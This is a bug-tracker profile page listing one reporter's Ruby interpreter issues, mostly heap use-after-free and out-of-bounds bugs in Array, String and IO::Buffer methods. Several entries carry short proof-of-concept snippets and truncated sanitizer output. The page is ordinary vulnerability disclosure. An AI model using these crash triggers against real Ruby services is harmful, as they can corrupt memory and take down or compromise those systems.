General

Profile

danielchong (Daniel Chong)

  • Login: danielchong
  • Registered on: 10/14/2025
  • Last sign in: 09/14/2026

Issues

open closed Total
Assigned issues 0 0 0
Reported issues 1 8 9

Activity

09/18/2026

06:29 PM Ruby Bug #22337 (Closed): OOB write in array.pack()
Hi, I found a case that causes an oob write in array.pack()
PoC:
```
buf = "Z" * 4096
$buf = buf
evil = Object.new
def evil.to_int
$buf.replace("q")
123456789
end
[evil].pack("r", buffer: buf)
```
asan...
danielchong (Daniel Chong)
04:22 PM Ruby Bug #22336 (Closed): IO:Buffer Heap uaf
Hello, a UAF is possible in IO:Buffer.
PoC:
```
$buf = IO::Buffer.new(64)
evil = Object.new
def evil.to_str
$buf.resize(64 * 1024 * 1024)
"UTF-8"
end
$buf.get_string(0, 32, evil)
```
ASAN (truncated):
```
ERROR...
danielchong (Daniel Chong)

09/17/2026

04:00 PM Ruby Bug #22330 (Closed): heap uaf from string.encode()
Hello, a heap UAF seems possible in string's encode function.
PoC
```
s = "あ" * 4000
s.encode("US-ASCII",
fallback: proc { |c|
s.replace("Z" * (...
danielchong (Daniel Chong)

09/16/2026

04:37 PM Ruby Bug #22326 (Open): heap buffer overflow in array.values_at()
Hello, I discovered a heap buffer overflow in array.values_at(). I believe the root issue/potential fix is similar to #22325, but the code paths are distinct.
PoC:
```
class bad < Numeric
def initialize(v); @v = v; end
def val...
danielchong (Daniel Chong)
04:06 PM Ruby Bug #22325 (Closed): out of bounds read in array
Hi, an OOB read seems possible in array
```
class bad < Numeric
def initialize(v); @v = v; end
def val; @v; end
def <=>(o); @v <=> (o.is_a?(bad) ? o.val : o); end
def to_int; $a.clear; @v; end
def to_i; @v; end
def ...
danielchong (Daniel Chong)

09/15/2026

06:28 PM Ruby Bug #22319 (Closed): heap buffer overflow triggered by array's zip function
Hi, I found a heap buffer overflow affecting array's zip functionality.
PoC:
```
a = (1..3000).to_a
evil = Object.new; $a = a
def evil.to_ary; $a.clear; [1,2,3]; end
a.zip(evil)
```
ASAN output (truncated):
ERROR: AddressSa...
danielchong (Daniel Chong)
03:32 PM Ruby Bug #22318 (Closed): heap uaf triggered in array.flatten
Hello, there seems to be a bug in Array's flatten function.
PoC:
```
a = (1..2000).to_a
bad = Object.new
$a = a
def bad.to_ary; $a.clear; [1,2,3]; end
a << bad
a.flatten
```
ASAN output (truncated):
```
7==ERROR: A...
danielchong (Daniel Chong)

09/14/2026

08:39 PM Ruby Bug #22315 (Closed): heap-use-after-free in String unpack with a block that mutates the receiver
PoC:
```
s = "C" * 4000
s.unpack("L*") { s.clear }
```
Asan (truncated):
```
ERROR: AddressSanitizer: heap-use-after-free on address 0x...
READ of size 4 ... thread T0
#3 bary_unpack_internal bignum.c:1179
#4 rb_in...
danielchong (Daniel Chong)

04/13/2026

06:38 PM Ruby Bug #21997: segfault in basicobject
sorry, i think this is a duplicate #21992 danielchong (Daniel Chong)
06:37 PM Ruby Bug #21997 (Closed): segfault in basicobject
./ruby script.rb
```
[0, 1, -1, 10000000000000000000000, -10000000000000000000000].each do |val|
begin
class BasicObject
def initialize(v); @v = v; end
def to_s; @v.to_s; end
end
obj = BasicObject.new(...
danielchong (Daniel Chong)

Also available in: Atom